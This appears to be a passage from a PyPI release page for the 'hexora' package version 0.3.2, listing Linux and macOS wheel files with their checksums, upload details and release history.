Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp310-cp310-manylinux_2_28_aarch64.whl

Download URL hexora-0.3.2-cp310-cp310-manylinux_2_28_aarch64.whl
Size 3.2 MB
Tags CPython 3.10 Linux glibc 2.28+ ARM64
SHA-256 checksum
How to use checksums
13b05e403ed3f994e2dcda156ddfb0d41d4900a9852c255ec6836e10054d8ecf
BLAKE2b-256 checksum
How to use checksums
920389aea70ee0484e4502a1281f5ab66988367a4e4787cd60fd161c646cfafa
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp310-cp310-macosx_11_0_arm64.whl

Download URL hexora-0.3.2-cp310-cp310-macosx_11_0_arm64.whl
Size 2.9 MB
Tags CPython 3.10 macOS 11.0+ ARM64
SHA-256 checksum
How to use checksums
dc2ba7911a0da70b5582ead195c6af5255d222847c8f89d66d5f98c73eacb9a7
BLAKE2b-256 checksum
How to use checksums
659f329bd88de35c48dceaad3f1f2ee56e2d6e7645a7ecd587b32ca4eee6b30b
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release files / hexora-0.3.2-cp310-cp310-macosx_10_12_x86_64.whl

Download URL hexora-0.3.2-cp310-cp310-macosx_10_12_x86_64.whl
Size 3.1 MB
Tags CPython 3.10 macOS 10.12+ x86-64
SHA-256 checksum
How to use checksums
d08aaa633ba72447b9e8b65268c3af971237a78ee5bb038ae00746c89159c499
BLAKE2b-256 checksum
How to use checksums
fa670134c4d73de8c4c9a05437412c02f6f12fdec27b280c3932c64d71a445e7
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.14

Release history Release notifications | RSS feed

This release

0.3.2 This release

37 release files

0.3.0

37 release files

0.2.4

37 release files

0.2.3

37 release files

0.2.2

37 release files

0.2.1

31 release files

0.2.0

31 release files

0.1.2

31 release files

0.1.1

31 release files

0.1.0

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page